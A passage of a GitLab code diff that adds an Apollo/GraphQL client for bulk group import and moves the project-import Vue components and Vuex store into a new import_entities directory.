+export const createApolloClient = ({ endpoints }) =>
+ createDefaultClient(createResolvers({ endpoints }), { assumeImmutableResults: true });
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/fragments/bulk_import_source_group_item.fragment.graphql b/app/assets/javascripts/import_entities/import_groups/graphql/fragments/bulk_import_source_group_item.fragment.graphql
new file mode 100644
index 00000000000..50774e36599
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/fragments/bulk_import_source_group_item.fragment.graphql
@@ -0,0 +1,8 @@
+fragment BulkImportSourceGroupItem on ClientBulkImportSourceGroup {
+ id
+ web_url
+ full_path
+ full_name
+ status
+ import_target
+}
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/mutations/import_group.mutation.graphql b/app/assets/javascripts/import_entities/import_groups/graphql/mutations/import_group.mutation.graphql
new file mode 100644
index 00000000000..412608d3faf
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/mutations/import_group.mutation.graphql
@@ -0,0 +1,3 @@
+mutation importGroup($sourceGroupId: String!) {
+ importGroup(sourceGroupId: $sourceGroupId) @client
+}
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/mutations/set_new_name.mutation.graphql b/app/assets/javascripts/import_entities/import_groups/graphql/mutations/set_new_name.mutation.graphql
new file mode 100644
index 00000000000..2bc19891401
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/mutations/set_new_name.mutation.graphql
@@ -0,0 +1,3 @@
+mutation setNewName($newName: String!, $sourceGroupId: String!) {
+ setNewName(newName: $newName, sourceGroupId: $sourceGroupId) @client
+}
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/mutations/set_target_namespace.mutation.graphql b/app/assets/javascripts/import_entities/import_groups/graphql/mutations/set_target_namespace.mutation.graphql
new file mode 100644
index 00000000000..fc98a1652c1
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/mutations/set_target_namespace.mutation.graphql
@@ -0,0 +1,3 @@
+mutation setTargetNamespace($targetNamespace: String!, $sourceGroupId: String!) {
+ setTargetNamespace(targetNamespace: $targetNamespace, sourceGroupId: $sourceGroupId) @client
+}
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/queries/available_namespaces.query.graphql b/app/assets/javascripts/import_entities/import_groups/graphql/queries/available_namespaces.query.graphql
new file mode 100644
index 00000000000..5ab9796b50a
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/queries/available_namespaces.query.graphql
@@ -0,0 +1,6 @@
+query availableNamespaces {
+ availableNamespaces @client {
+ id
+ full_path
+ }
+}
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/queries/bulk_import_source_groups.query.graphql b/app/assets/javascripts/import_entities/import_groups/graphql/queries/bulk_import_source_groups.query.graphql
new file mode 100644
index 00000000000..8d52d94925c
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/queries/bulk_import_source_groups.query.graphql
@@ -0,0 +1,7 @@
+#import "../fragments/bulk_import_source_group_item.fragment.graphql"
+
+query bulkImportSourceGroups {
+ bulkImportSourceGroups @client {
+ ...BulkImportSourceGroupItem
+ }
+}
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/services/source_groups_manager.js b/app/assets/javascripts/import_entities/import_groups/graphql/services/source_groups_manager.js
new file mode 100644
index 00000000000..f752ecc8cd6
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/services/source_groups_manager.js
@@ -0,0 +1,45 @@
+import { defaultDataIdFromObject } from 'apollo-cache-inmemory';
+import produce from 'immer';
+import ImportSourceGroupFragment from '../fragments/bulk_import_source_group_item.fragment.graphql';
+
+function extractTypeConditionFromFragment(fragment) {
+ return fragment.definitions[0]?.typeCondition.name.value;
+}
+
+function generateGroupId(id) {
+ return defaultDataIdFromObject({
+ __typename: extractTypeConditionFromFragment(ImportSourceGroupFragment),
+ id,
+ });
+}
+
+export class SourceGroupsManager {
+ constructor({ client }) {
+ this.client = client;
+ }
+
+ findById(id) {
+ const cacheId = generateGroupId(id);
+ return this.client.readFragment({ fragment: ImportSourceGroupFragment, id: cacheId });
+ }
+
+ update(group, fn) {
+ this.client.writeFragment({
+ fragment: ImportSourceGroupFragment,
+ id: generateGroupId(group.id),
+ data: produce(group, fn),
+ });
+ }
+
+ updateById(id, fn) {
+ const group = this.findById(id);
+ this.update(group, fn);
+ }
+
+ setImportStatus(group, status) {
+ this.update(group, sourceGroup => {
+ // eslint-disable-next-line no-param-reassign
+ sourceGroup.status = status;
+ });
+ }
+}
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/services/status_poller.js b/app/assets/javascripts/import_entities/import_groups/graphql/services/status_poller.js
new file mode 100644
index 00000000000..5d2922b0ba8
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/services/status_poller.js
@@ -0,0 +1,68 @@
+import gql from 'graphql-tag';
+import createFlash from '~/flash';
+import { s__ } from '~/locale';
+import bulkImportSourceGroupsQuery from '../queries/bulk_import_source_groups.query.graphql';
+import { STATUSES } from '../../../constants';
+import { SourceGroupsManager } from './source_groups_manager';
+
+const groupId = i => `group${i}`;
+
+function generateGroupsQuery(groups) {
+ return gql`{
+ ${groups
+ .map(
+ (g, idx) =>
+ `${groupId(idx)}: group(fullPath: "${g.import_target.target_namespace}/${
+ g.import_target.new_name
+ }") { id }`,
+ )
+ .join('\n')}
+ }`;
+}
+
+export class StatusPoller {
+ constructor({ client, interval }) {
+ this.client = client;
+ this.interval = interval;
+ this.timeoutId = null;
+ this.groupManager = new SourceGroupsManager({ client });
+ }
+
+ startPolling() {
+ if (this.timeoutId) {
+ return;
+ }
+
+ this.checkPendingImports();
+ }
+
+ stopPolling() {
+ clearTimeout(this.timeoutId);
+ this.timeoutId = null;
+ }
+
+ async checkPendingImports() {
+ try {
+ const { bulkImportSourceGroups } = this.client.readQuery({
+ query: bulkImportSourceGroupsQuery,
+ });
+ const groupsInProgress = bulkImportSourceGroups.filter(g => g.status === STATUSES.STARTED);
+ if (groupsInProgress.length) {
+ const { data: results } = await this.client.query({
+ query: generateGroupsQuery(groupsInProgress),
+ fetchPolicy: 'no-cache',
+ });
+ const completedGroups = groupsInProgress.filter((_, idx) => Boolean(results[groupId(idx)]));
+ completedGroups.forEach(group => {
+ this.groupManager.setImportStatus(group, STATUSES.FINISHED);
+ });
+ }
+ } catch (e) {
+ createFlash({
+ message: s__('BulkImport|Update of import statuses with realtime changes failed'),
+ });
+ } finally {
+ this.timeoutId = setTimeout(() => this.checkPendingImports(), this.interval);
+ }
+ }
+}
diff --git a/app/assets/javascripts/import_entities/import_groups/index.js b/app/assets/javascripts/import_entities/import_groups/index.js
new file mode 100644
index 00000000000..bf427075564
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_groups/index.js
@@ -0,0 +1,31 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import Translate from '~/vue_shared/translate';
+import { createApolloClient } from './graphql/client_factory';
+import ImportTable from './components/import_table.vue';
+
+Vue.use(Translate);
+Vue.use(VueApollo);
+
+export function mountImportGroupsApp(mountElement) {
+ if (!mountElement) return undefined;
+
+ const { statusPath, availableNamespacesPath, createBulkImportPath } = mountElement.dataset;
+ const apolloProvider = new VueApollo({
+ defaultClient: createApolloClient({
+ endpoints: {
+ status: statusPath,
+ availableNamespaces: availableNamespacesPath,
+ createBulkImport: createBulkImportPath,
+ },
+ }),
+ });
+
+ return new Vue({
+ el: mountElement,
+ apolloProvider,
+ render(createElement) {
+ return createElement(ImportTable);
+ },
+ });
+}
diff --git a/app/assets/javascripts/import_projects/components/bitbucket_status_table.vue b/app/assets/javascripts/import_entities/import_projects/components/bitbucket_status_table.vue
index bc8aa522596..bc8aa522596 100644
--- a/app/assets/javascripts/import_projects/components/bitbucket_status_table.vue
+++ b/app/assets/javascripts/import_entities/import_projects/components/bitbucket_status_table.vue
diff --git a/app/assets/javascripts/import_entities/import_projects/components/import_projects_table.vue b/app/assets/javascripts/import_entities/import_projects/components/import_projects_table.vue
new file mode 100644
index 00000000000..2b6b8b765a2
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_projects/components/import_projects_table.vue
@@ -0,0 +1,187 @@
+<script>
+import { mapActions, mapState, mapGetters } from 'vuex';
+import { GlButton, GlLoadingIcon, GlIntersectionObserver, GlModal } from '@gitlab/ui';
+import { n__, __, sprintf } from '~/locale';
+import ProviderRepoTableRow from './provider_repo_table_row.vue';
+
+export default {
+ name: 'ImportProjectsTable',
+ components: {
+ ProviderRepoTableRow,
+ GlLoadingIcon,
+ GlButton,
+ GlModal,
+ GlIntersectionObserver,
+ },
+ props: {
+ providerTitle: {
+ type: String,
+ required: true,
+ },
+ filterable: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ paginatable: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+
+ computed: {
+ ...mapState(['filter', 'repositories', 'namespaces', 'defaultTargetNamespace']),
+ ...mapGetters([
+ 'isLoading',
+ 'isImportingAnyRepo',
+ 'hasImportableRepos',
+ 'hasIncompatibleRepos',
+ 'importAllCount',
+ ]),
+
+ pagePaginationStateKey() {
+ return `${this.filter}-${this.repositories.length}`;
+ },
+
+ availableNamespaces() {
+ const serializedNamespaces = this.namespaces.map(({ fullPath }) => ({
+ id: fullPath,
+ text: fullPath,
+ }));
+
+ return [
+ { text: __('Groups'), children: serializedNamespaces },
+ {
+ text: __('Users'),
+ children: [{ id: this.defaultTargetNamespace, text: this.defaultTargetNamespace }],
+ },
+ ];
+ },
+
+ importAllButtonText() {
+ return this.hasIncompatibleRepos
+ ? n__(
+ 'Import %d compatible repository',
+ 'Import %d compatible repositories',
+ this.importAllCount,
+ )
+ : n__('Import %d repository', 'Import %d repositories', this.importAllCount);
+ },
+
+ emptyStateText() {
+ return sprintf(__('No %{providerTitle} repositories found'), {
+ providerTitle: this.providerTitle,
+ });
+ },
+
+ fromHeaderText() {
+ return sprintf(__('From %{providerTitle}'), { providerTitle: this.providerTitle });
+ },
+ },
+
+ mounted() {
+ this.fetchNamespaces();
+ this.fetchJobs();
+
+ if (!this.paginatable) {
+ this.fetchRepos();
+ }
+ },
+
+ beforeDestroy() {
+ this.stopJobsPolling();
+ this.clearJobsEtagPoll();
+ },
+
+ methods: {
+ ...mapActions([
+ 'fetchRepos',
+ 'fetchJobs',
+ 'fetchNamespaces',
+ 'stopJobsPolling',
+ 'clearJobsEtagPoll',
+ 'setFilter',
+ 'importAll',
+ ]),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <p class="light text-nowrap mt-2">
+ {{ s__('ImportProjects|Select the repositories you want to import') }}
+ </p>
+ <template v-if="hasIncompatibleRepos">
+ <slot name="incompatible-repos-warning"></slot>
+ </template>
+ <div class="d-flex justify-content-between align-items-end flex-wrap mb-3">
+ <gl-button
+ variant="success"
+ :loading="isImportingAnyRepo"
+ :disabled="!hasImportableRepos"
+ type="button"
+ @click="$refs.importAllModal.show()"
+ >{{ importAllButtonText }}</gl-button
+ >
+ <gl-modal
+ ref="importAllModal"
+ modal-id="import-all-modal"
+ :title="s__('ImportProjects|Import repositories')"
+ :ok-title="__('Import')"
+ @ok="importAll"
+ >
+ {{
+ n__(
+ 'Are you sure you want to import %d repository?',
+ 'Are you sure you want to import %d repositories?',
+ importAllCount,
+ )
+ }}
+ </gl-modal>
+
+ <slot name="actions"></slot>
+ <form v-if="filterable" class="gl-ml-auto" novalidate @submit.prevent>
+ <input
+ data-qa-selector="githubish_import_filter_field"
+ class="form-control"
+ name="filter"
+ :placeholder="__('Filter your repositories by name')"
+ autofocus
+ size="40"
+ @keyup.enter="setFilter($event.target.value)"
+ />
+ </form>
+ </div>
+ <div v-if="repositories.length" class="table-responsive">
+ <table class="table import-table">
+ <thead>
+ <th class="import-jobs-from-col">{{ fromHeaderText }}</th>
+ <th class="import-jobs-to-col">{{ __('To GitLab') }}</th>
+ <th class="import-jobs-status-col">{{ __('Status') }}</th>
+ <th class="import-jobs-cta-col"></th>
+ </thead>
+ <tbody>
+ <template v-for="repo in repositories">
+ <provider-repo-table-row
+ :key="repo.importSource.providerLink"
+ :repo="repo"
+ :available-namespaces="availableNamespaces"
+ />
+ </template>
+ </tbody>
+ </table>
+ </div>
+ <gl-intersection-observer
+ v-if="paginatable"
+ :key="pagePaginationStateKey"
+ @appear="fetchRepos"
+ />
+ <gl-loading-icon v-if="isLoading" class="import-projects-loading-icon" size="md" />
+
+ <div v-if="!isLoading && repositories.length === 0" class="text-center">
+ <strong>{{ emptyStateText }}</strong>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue b/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue
new file mode 100644
index 00000000000..983abda57f7
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue
@@ -0,0 +1,151 @@
+<script>
+import { mapState, mapGetters, mapActions } from 'vuex';
+import { GlIcon, GlBadge } from '@gitlab/ui';
+import Select2Select from '~/vue_shared/components/select2_select.vue';
+import { __ } from '~/locale';
+import ImportStatus from '../../components/import_status.vue';
+import { STATUSES } from '../../constants';
+import { isProjectImportable, isIncompatible, getImportStatus } from '../utils';
+
+export default {
+ name: 'ProviderRepoTableRow',
+ components: {
+ Select2Select,
+ ImportStatus,
+ GlIcon,
+ GlBadge,
+ },
+ props: {
+ repo: {
+ type: Object,
+ required: true,
+ },
+ availableNamespaces: {
+ type: Array,
+ required: true,
+ },
+ },
+
+ computed: {
+ ...mapState(['ciCdOnly']),
+ ...mapGetters(['getImportTarget']),
+
+ displayFullPath() {
+ return this.repo.importedProject.fullPath.replace(/^\//, '');
+ },
+
+ isFinished() {
+ return this.repo.importedProject?.importStatus === STATUSES.FINISHED;
+ },
+
+ isImportNotStarted() {
+ return isProjectImportable(this.repo);
+ },
+
+ isIncompatible() {
+ return isIncompatible(this.repo);
+ },
+
+ importStatus() {
+ return getImportStatus(this.repo);
+ },
+
+ importTarget() {
+ return this.getImportTarget(this.repo.importSource.id);
+ },
+
+ importButtonText() {
+ return this.ciCdOnly ? __('Connect') : __('Import');
+ },
+
+ select2Options() {
+ return {
+ data: this.availableNamespaces,
+ containerCssClass: 'import-namespace-select qa-project-namespace-select w-auto',
+ };
+ },
+
+ targetNamespaceSelect: {
+ get() {
+ return this.importTarget.targetNamespace;
+ },
+ set(value) {
+ this.updateImportTarget({ targetNamespace: value });
+ },
+ },
+
+ newNameInput: {
+ get() {
+ return this.importTarget.newName;
+ },
+ set(value) {
+ this.updateImportTarget({ newName: value });
+ },
+ },
+ },
+
+ methods: {
+ ...mapActions(['fetchImport', 'setImportTarget']),
+ updateImportTarget(changedValues) {
+ this.setImportTarget({
+ repoId: this.repo.importSource.id,
+ importTarget: { ...this.importTarget, ...changedValues },
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <tr class="qa-project-import-row import-row">
+ <td>
+ <a
+ :href="repo.importSource.providerLink"
+ rel="noreferrer noopener"
+ target="_blank"
+ data-testid="providerLink"
+ >{{ repo.importSource.fullName }}
+ <gl-icon v-if="repo.importSource.providerLink" name="external-link" />
+ </a>
+ </td>
+ <td class="d-flex flex-wrap flex-lg-nowrap" data-testid="fullPath">
+ <template v-if="repo.importSource.target">{{ repo.importSource.target }}</template>
+ <template v-else-if="isImportNotStarted">
+ <select2-select v-model="targetNamespaceSelect" :options="select2Options" />
+ <span class="px-2 import-slash-divider d-flex justify-content-center align-items-center"
+ >/</span
+ >
+ <input
+ v-model="newNameInput"
+ type="text"
+ class="form-control import-project-name-input qa-project-path-field"
+ />
+ </template>
+ <template v-else-if="repo.importedProject">{{ displayFullPath }}</template>
+ </td>
+ <td>
+ <import-status :status="importStatus" />
+ </td>
+ <td data-testid="actions">
+ <a
+ v-if="isFinished"
+ class="btn btn-default"
+ :href="repo.importedProject.fullPath"
+ rel="noreferrer noopener"
+ target="_blank"
+ >{{ __('Go to project') }}
+ </a>
+ <button
+ v-if="isImportNotStarted"
+ type="button"
+ class="qa-import-button btn btn-default"
+ @click="fetchImport(repo.importSource.id)"
+ >
+ {{ importButtonText }}
+ </button>
+ <gl-badge v-else-if="isIncompatible" variant="danger">{{
+ __('Incompatible project')
+ }}</gl-badge>
+ </td>
+ </tr>
+</template>
diff --git a/app/assets/javascripts/import_entities/import_projects/index.js b/app/assets/javascripts/import_entities/import_projects/index.js
new file mode 100644
index 00000000000..7373b628f2b
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_projects/index.js
@@ -0,0 +1,60 @@
+import Vue from 'vue';
+import Translate from '~/vue_shared/translate';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import ImportProjectsTable from './components/import_projects_table.vue';
+import createStore from './store';
+
+Vue.use(Translate);
+
+export function initStoreFromElement(element) {
+ const {
+ ciCdOnly,
+ canSelectNamespace,
+ provider,
+
+ reposPath,
+ jobsPath,
+ importPath,
+ namespacesPath,
+ paginatable,
+ } = element.dataset;
+
+ return createStore({
+ initialState: {
+ defaultTargetNamespace: gon.current_username,
+ ciCdOnly: parseBoolean(ciCdOnly),
+ canSelectNamespace: parseBoolean(canSelectNamespace),
+ provider,
+ },
+ endpoints: {
+ reposPath,
+ jobsPath,
+ importPath,
+ namespacesPath,
+ },
+ hasPagination: parseBoolean(paginatable),
+ });
+}
+
+export function initPropsFromElement(element) {
+ return {
+ providerTitle: element.dataset.providerTitle,
+ filterable: parseBoolean(element.dataset.filterable),
+ paginatable: parseBoolean(element.dataset.paginatable),
+ };
+}
+
+export default function mountImportProjectsTable(mountElement) {
+ if (!mountElement) return undefined;
+
+ const store = initStoreFromElement(mountElement);
+ const props = initPropsFromElement(mountElement);
+
+ return new Vue({
+ el: mountElement,
+ store,
+ render(createElement) {
+ return createElement(ImportProjectsTable, { props });
+ },
+ });
+}
diff --git a/app/assets/javascripts/import_projects/store/actions.js b/app/assets/javascripts/import_entities/import_projects/store/actions.js
index 7b7afd13c55..7b7afd13c55 100644
--- a/app/assets/javascripts/import_projects/store/actions.js
+++ b/app/assets/javascripts/import_entities/import_projects/store/actions.js
diff --git a/app/assets/javascripts/import_entities/import_projects/store/getters.js b/app/assets/javascripts/import_entities/import_projects/store/getters.js
new file mode 100644
index 00000000000..31e22b50554
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_projects/store/getters.js
@@ -0,0 +1,30 @@
+import { STATUSES } from '../../constants';
+import { isProjectImportable, isIncompatible } from '../utils';
+
+export const isLoading = state => state.isLoadingRepos || state.isLoadingNamespaces;
+
+export const isImportingAnyRepo = state =>
+ state.repositories.some(repo =>
+ [STATUSES.SCHEDULING, STATUSES.SCHEDULED, STATUSES.STARTED].includes(
+ repo.importedProject?.importStatus,
+ ),
+ );
+
+export const hasIncompatibleRepos = state => state.repositories.some(isIncompatible);
+
+export const hasImportableRepos = state => state.repositories.some(isProjectImportable);
+
+export const importAllCount = state => state.repositories.filter(isProjectImportable).length;
+
+export const getImportTarget = state => repoId => {
+ if (state.customImportTargets[repoId]) {
+ return state.customImportTargets[repoId];
+ }
+
+ const repo = state.repositories.find(r => r.importSource.id === repoId);
+
+ return {
+ newName: repo.importSource.sanitizedName,
+ targetNamespace: state.defaultTargetNamespace,
+ };
+};
diff --git a/app/assets/javascripts/import_projects/store/index.js b/app/assets/javascripts/import_entities/import_projects/store/index.js
index 7ba12f81eb9..7ba12f81eb9 100644
--- a/app/assets/javascripts/import_projects/store/index.js
+++ b/app/assets/javascripts/import_entities/import_projects/store/index.js
diff --git a/app/assets/javascripts/import_projects/store/mutation_types.js b/app/assets/javascripts/import_entities/import_projects/store/mutation_types.js
index 6adf5e59cff..6adf5e59cff 100644
--- a/app/assets/javascripts/import_projects/store/mutation_types.js
+++ b/app/assets/javascripts/import_entities/import_projects/store/mutation_types.js
diff --git a/app/assets/javascripts/import_entities/import_projects/store/mutations.js b/app/assets/javascripts/import_entities/import_projects/store/mutations.js
new file mode 100644
index 00000000000..3d718a6a386
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_projects/store/mutations.js
@@ -0,0 +1,149 @@
+import Vue from 'vue';
+import * as types from './mutation_types';
+import { STATUSES } from '../../constants';
+
+const makeNewImportedProject = importedProject => ({
+ importSource: {
+ id: importedProject.id,
+ fullName: importedProject.importSource,
+ sanitizedName: importedProject.name,
+ providerLink: importedProject.providerLink,
+ },
+ importedProject,
+});
+
+const makeNewIncompatibleProject = project => ({
+ importSource: { ...project, incompatible: true },
+ importedProject: null,
+});
+
+const processLegacyEntries = ({ newRepositories, existingRepositories, factory }) => {
+ const newEntries = [];
+ newRepositories.forEach(project => {
+ const existingProject = existingRepositories.find(p => p.importSource.id === project.id);
+ const importedProjectShape = factory(project);
+
+ if (existingProject) {
+ Object.assign(existingProject, importedProjectShape);
+ } else {
+ newEntries.push(importedProjectShape);
+ }
+ });
+ return newEntries;
+};
+
+export default {
+ [types.SET_FILTER](state, filter) {
+ state.filter = filter;
+ state.repositories = [];
+ state.pageInfo.page = 0;
+ },
+
+ [types.REQUEST_REPOS](state) {
+ state.isLoadingRepos = true;
+ },
+
+ [types.RECEIVE_REPOS_SUCCESS](state, repositories) {
+ state.isLoadingRepos = false;
+
+ if (!Array.isArray(repositories)) {
+ // Legacy code path, will be removed when all importers will be switched to new pagination format
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/27370#note_379034091
+
+ const newImportedProjects = processLegacyEntries({
+ newRepositories: repositories.importedProjects,
+ existingRepositories: state.repositories,
+ factory: makeNewImportedProject,
+ });
+
+ const incompatibleRepos = repositories.incompatibleRepos ?? [];
+ const newIncompatibleProjects = processLegacyEntries({
+ newRepositories: incompatibleRepos,
+ existingRepositories: state.repositories,
+ factory: makeNewIncompatibleProject,
+ });
+
+ state.repositories = [
+ ...newImportedProjects,
+ ...state.repositories,
+ ...repositories.providerRepos.map(project => ({
+ importSource: project,
+ importedProject: null,
+ })),
+ ...newIncompatibleProjects,
+ ];
+
+ if (incompatibleRepos.length === 0 && repositories.providerRepos.length === 0) {
+ state.pageInfo.page -= 1;
+ }
+
+ return;
+ }
+
+ state.repositories = [...state.repositories, ...repositories];
+ if (repositories.length === 0) {
+ state.pageInfo.page -= 1;
+ }
+ },
+
+ [types.RECEIVE_REPOS_ERROR](state) {
+ state.isLoadingRepos = false;
+ },
+
+ [types.REQUEST_IMPORT](state, { repoId, importTarget }) {
+ const existingRepo = state.repositories.find(r => r.importSource.id === repoId);
+ existingRepo.importedProject = {
+ importStatus: STATUSES.SCHEDULING,
+ fullPath: `/${importTarget.targetNamespace}/${importTarget.newName}`,
+ };
+ },
+
+ [types.RECEIVE_IMPORT_SUCCESS](state, { importedProject, repoId }) {
+ const existingRepo = state.repositories.find(r => r.importSource.id === repoId);
+ existingRepo.importedProject = importedProject;
+ },
+
+ [types.RECEIVE_IMPORT_ERROR](state, repoId) {
+ const existingRepo = state.repositories.find(r => r.importSource.id === repoId);
+ existingRepo.importedProject = null;
+ },
+
+ [types.RECEIVE_JOBS_SUCCESS](state, updatedProjects) {
+ updatedProjects.forEach(updatedProject => {
+ const repo = state.repositories.find(p => p.importedProject?.id === updatedProject.id);
+ if (repo?.importedProject) {
+ repo.importedProject.importStatus = updatedProject.importStatus;
+ }
+ });
+ },
+
+ [types.REQUEST_NAMESPACES](state) {
+ state.isLoadingNamespaces = true;
+ },
+
+ [types.RECEIVE_NAMESPACES_SUCCESS](state, namespaces) {
+ state.isLoadingNamespaces = false;
+ state.namespaces = namespaces;
+ },
+
+ [types.RECEIVE_NAMESPACES_ERROR](state) {
+ state.isLoadingNamespaces = false;
+ },
+
+ [types.SET_IMPORT_TARGET](state, { repoId, importTarget }) {
+ const existingRepo = state.repositories.find(r => r.importSource.id === repoId);
+
+ if (
+ importTarget.targetNamespace === state.defaultTargetNamespace &&
+ importTarget.newName === existingRepo.importSource.sanitizedName
+ ) {
+ Vue.delete(state.customImportTargets, repoId);
+ } else {
+ Vue.set(state.customImportTargets, repoId, importTarget);
+ }
+ },
+
+ [types.SET_PAGE](state, page) {
+ state.pageInfo.page = page;
+ },
+};
diff --git a/app/assets/javascripts/import_projects/store/state.js b/app/assets/javascripts/import_entities/import_projects/store/state.js
index ecd93561d52..ecd93561d52 100644
--- a/app/assets/javascripts/import_projects/store/state.js
+++ b/app/assets/javascripts/import_entities/import_projects/store/state.js
diff --git a/app/assets/javascripts/import_entities/import_projects/utils.js b/app/assets/javascripts/import_entities/import_projects/utils.js
new file mode 100644
index 00000000000..0610117e09b
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_projects/utils.js
@@ -0,0 +1,13 @@
+import { STATUSES } from '../constants';
+
+export function isIncompatible(project) {
+ return project.importSource.incompatible;
+}
+
+export function getImportStatus(project) {
+ return project.importedProject?.importStatus ?? STATUSES.NONE;
+}
+
+export function isProjectImportable(project) {
+ return !isIncompatible(project) && getImportStatus(project) === STATUSES.NONE;
+}
diff --git a/app/assets/javascripts/import_projects/components/import_projects_table.vue b/app/assets/javascripts/import_projects/components/import_projects_table.vue
deleted file mode 100644
index 96100e4ac0c..00000000000
--- a/app/assets/javascripts/import_projects/components/import_projects_table.vue
+++ /dev/null
@@ -1,191 +0,0 @@
-<script>
-import { mapActions, mapState, mapGetters } from 'vuex';
-import { GlButton, GlLoadingIcon, GlIntersectionObserver, GlModal } from '@gitlab/ui';
-import { n__, __, sprintf } from '~/locale';
-import ProviderRepoTableRow from './provider_repo_table_row.vue';
-
-export default {
- name: 'ImportProjectsTable',
- components: {
- ProviderRepoTableRow,
- GlLoadingIcon,
- GlButton,
- GlModal,
- GlIntersectionObserver,
- },
- props: {
- providerTitle: {
- type: String,
- required: true,
- },
- filterable: {
- type: Boolean,
- required: false,
- default: true,
- },
- paginatable: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
-
- computed: {
- ...mapState(['filter', 'repositories', 'namespaces', 'defaultTargetNamespace']),
- ...mapGetters([
- 'isLoading',
- 'isImportingAnyRepo',
- 'hasImportableRepos',
- 'hasIncompatibleRepos',
- 'importAllCount',
- ]),
-
- pagePaginationStateKey() {
- return `${this.filter}-${this.repositories.length}`;
- },
-
- availableNamespaces() {
- const serializedNamespaces = this.namespaces.map(({ fullPath }) => ({
- id: fullPath,
- text: fullPath,
- }));
-
- return [
- { text: __('Groups'), children: serializedNamespaces },
- {
- text: __('Users'),
- children: [{ id: this.defaultTargetNamespace, text: this.defaultTargetNamespace }],
- },
- ];
- },
-
- importAllButtonText() {
- return this.hasIncompatibleRepos
- ? n__(
- 'Import %d compatible repository',
- 'Import %d compatible repositories',
- this.importAllCount,
- )
- : n__('Import %d repository', 'Import %d repositories', this.importAllCount);
- },
-
- emptyStateText() {
- return sprintf(__('No %{providerTitle} repositories found'), {
- providerTitle: this.providerTitle,
- });
- },
-
- fromHeaderText() {
- return sprintf(__('From %{providerTitle}'), { providerTitle: this.providerTitle });
- },
- },
-
- mounted() {
- this.fetchNamespaces();
- this.fetchJobs();
-
- if (!this.paginatable) {
- this.fetchRepos();
- }
- },
-
- beforeDestroy() {
- this.stopJobsPolling();
- this.clearJobsEtagPoll();
- },
-
- methods: {
- ...mapActions([
- 'fetchRepos',
- 'fetchJobs',
- 'fetchNamespaces',
- 'stopJobsPolling',
- 'clearJobsEtagPoll',
- 'setFilter',
- 'importAll',
- ]),
- },
-};
-</script>
-
-<template>
- <div>
- <p class="light text-nowrap mt-2">
- {{ s__('ImportProjects|Select the repositories you want to import') }}
- </p>
- <template v-if="hasIncompatibleRepos">
- <slot name="incompatible-repos-warning"></slot>
- </template>
- <div class="d-flex justify-content-between align-items-end flex-wrap mb-3">
- <gl-button
- variant="success"
- :loading="isImportingAnyRepo"
- :disabled="!hasImportableRepos"
- type="button"
- @click="$refs.importAllModal.show()"
- >{{ importAllButtonText }}</gl-button
- >
- <gl-modal
- ref="importAllModal"
- modal-id="import-all-modal"
- :title="s__('ImportProjects|Import repositories')"
- :ok-title="__('Import')"
- @ok="importAll"
- >
- {{
- n__(
- 'Are you sure you want to import %d repository?',
- 'Are you sure you want to import %d repositories?',
- importAllCount,
- )
- }}
- </gl-modal>
-
- <slot name="actions"></slot>
- <form v-if="filterable" class="gl-ml-auto" novalidate @submit.prevent>
- <input
- data-qa-selector="githubish_import_filter_field"
- class="form-control"
- name="filter"
- :placeholder="__('Filter your repositories by name')"
- autofocus
- size="40"
- @keyup.enter="setFilter($event.target.value)"
- />
- </form>
- </div>
- <div v-if="repositories.length" class="table-responsive">
- <table class="table import-table">
- <thead>
- <th class="import-jobs-from-col">{{ fromHeaderText }}</th>
- <th class="import-jobs-to-col">{{ __('To GitLab') }}</th>
- <th class="import-jobs-status-col">{{ __('Status') }}</th>
- <th class="import-jobs-cta-col"></th>
- </thead>
- <tbody>
- <template v-for="repo in repositories">
- <provider-repo-table-row
- :key="repo.importSource.providerLink"
- :repo="repo"
- :available-namespaces="availableNamespaces"
- />
- </template>
- </tbody>
- </table>
- </div>
- <gl-intersection-observer
- v-if="paginatable"
- :key="pagePaginationStateKey"
- @appear="fetchRepos"
- />
- <gl-loading-icon
- v-if="isLoading"
- class="js-loading-button-icon import-projects-loading-icon"
- size="md"
- />
-
- <div v-if="!isLoading && repositories.length === 0" class="text-center">
- <strong>{{ emptyStateText }}</strong>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/import_projects/components/provider_repo_table_row.vue b/app/assets/javascripts/import_projects/components/provider_repo_table_row.vue
deleted file mode 100644
index 18971313dfe..00000000000
--- a/app/assets/javascripts/import_projects/components/provider_repo_table_row.vue
+++ /dev/null
@@ -1,151 +0,0 @@
-<script>
-import { mapState, mapGetters, mapActions } from 'vuex';
-import { GlIcon, GlBadge } from '@gitlab/ui';
